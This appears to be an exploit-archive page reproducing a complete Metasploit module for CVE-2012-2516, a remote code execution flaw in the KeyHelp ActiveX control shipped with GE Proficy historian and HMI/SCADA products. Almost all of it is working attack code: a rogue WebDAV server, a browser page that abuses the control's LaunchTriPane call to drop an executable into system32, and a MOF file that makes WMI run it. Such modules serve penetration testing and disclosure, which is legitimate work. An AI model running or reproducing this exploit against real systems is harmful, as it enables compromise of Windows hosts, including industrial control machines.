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KeyHelp ActiveX LaunchTriPane Remote Code Execution

KeyHelp ActiveX LaunchTriPane Remote Code Execution
Posted Oct 11, 2012
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution vulnerability in the KeyScript ActiveX control from keyhelp.ocx. It is packaged in several products or GE, such as Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42. When the control is installed with these products, the function "LaunchTriPane" will use ShellExecute to launch "hh.exe", with user controlled data as parameters. Because of this, the "-decompile" option can be abused to write arbitrary files on the remote system. Code execution can be achieved by first uploading the payload to the remote machine, and then upload another mof file, which enables Windows Management Instrumentation service to execute it. Please note that this module currently only works for Windows before Vista. On the other hand, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3

tags | exploit, remote, arbitrary, code execution, activex
systems | windows
advisories | CVE-2012-2516, OSVDB-83311
SHA-256 | ddfde3a6cd95fb91cc1c6b3a0ce469bb1d439179f47acc6c7c8348a5fef601f0

KeyHelp ActiveX LaunchTriPane Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:javascript => true,
:rank => NormalRanking,
:classid => "{45E66957-2932-432A-A156-31503DF0A681}",
:method => "LaunchTriPane",
})

def initialize(info = {})
super(update_info(info,
'Name' => 'KeyHelp ActiveX LaunchTriPane Remote Code Execution Vulnerability',
'Description' => %q{
This module exploits a code execution vulnerability in the KeyScript ActiveX
control from keyhelp.ocx. It is packaged in several products or GE, such as
Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and 5.0, Proficy
Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between 7.20 and 7.42.
When the control is installed with these products, the function "LaunchTriPane"
will use ShellExecute to launch "hh.exe", with user controlled data as parameters.
Because of this, the "-decompile" option can be abused to write arbitrary files on
the remote system.

Code execution can be achieved by first uploading the payload to the remote
machine, and then upload another mof file, which enables Windows Management
Instrumentation service to execute it. Please note that this module currently only
works for Windows before Vista.

On the other hand, the target host must have the WebClient service (WebDAV
Mini-Redirector) enabled. It is enabled and automatically started by default on
Windows XP SP3
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-2516' ],
[ 'OSVDB', '83311' ],
[ 'BID', '55265' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-169/' ],
[ 'URL', 'http://support.ge-ip.com/support/index?page=kbchannel&id=S:KB14863' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista because of the WBEM technique
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jun 26 2012',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end

def on_new_session(client)
print_status("The exe payload (C:\\windows\\system32\\msfmsf.exe) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\msfmsf.mof) must be removed manually.")
end

def auto_target(cli, request)
agent = request.headers['User-Agent']

ret = nil
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
ret = targets[0]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
ret = targets[0]
elsif agent =~ /MSIE/
ret = targets[0]
else
print_error("Unknown User-Agent: #{agent}")
end

ret
end


def on_request_uri(cli, request)

mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
end

# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)

when 'PROPFIND'
process_propfind(cli, request, mytarget)

when 'GET'
process_get(cli, request, mytarget)

when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)

else
print_error("Unexpected request method encountered: #{request.method}")

end

end


#
# GET requests
#
def process_get(cli, request, target)

print_status("Responding to GET request #{request.uri}")
# dispatch based on extension
if (request.uri =~ /\.chm$/i)
#
# CHM requests sent by IE and the WebDav Mini-Redirector
#
if request.uri =~ /#{@var_exe_name}/
print_status("Sending CHM with payload")
send_response(cli, @chm_payload, { 'Content-Type' => 'application/octet-stream' })
elsif request.uri =~ /#{@var_mof_name}/
print_status("Sending CHM with mof")
send_response(cli, @chm_mof, { 'Content-Type' => 'application/octet-stream' })
else
send_not_found(cli)
end
else
#
# HTML requests sent by IE and Firefox
#
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
path = request.uri.gsub(/\//, '\\\\\\')
payload_unc = '\\\\\\\\' + my_host + path + @var_exe_name + '.chm'
mof_unc = '\\\\\\\\' + my_host + path + @var_mof_name + '.chm'
print_status("Using #{payload_unc} for payload...")
print_status("Using #{mof_unc} for the mof file...")

html = <<-HTML
<html>
<body>
<script>
KeyScript = new ActiveXObject("KeyHelp.KeyScript");

ChmPayloadFile = "-decompile C:\\\\WINDOWS\\\\system32\\\\ #{payload_unc}";
ChmMofFile = "-decompile c:\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\ #{mof_unc}";

KeyScript.LaunchTriPane(ChmPayloadFile);
setTimeout('KeyScript.LaunchTriPane(ChmMofFile);',3000);
</script>
</body>
</html>
HTML

html.gsub!(/\t\t\t/, '')

print_status("Sending HTML page")
send_response(cli, html)

end
end


#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end


#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''

if (path =~ /\.chm/i)
print_status("Sending CHM multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

end

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

def generate_payload_chm(data)
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_payload.chm")
fd = File.open(path, "rb")
chm = fd.read(fd.stat.size)
fd.close
chm << data
chm
end

def generate_mof_chm(data)
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2012-2516", "template_mof.chm")
fd = File.open(path, "rb")
chm = fd.read(fd.stat.size)
fd.close
chm << data
chm
end

#
# When exploit is called, generate the chm contents
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end

@var_mof_name = rand_text_alpha(7)
@var_exe_name = rand_text_alpha(7)
payload_contents = generate_payload_exe
mof_contents = generate_mof("msfmsf.mof", "msfmsf.exe")
@chm_payload = generate_payload_chm(payload_contents)
@chm_mof = generate_mof_chm(mof_contents)

super
end

end
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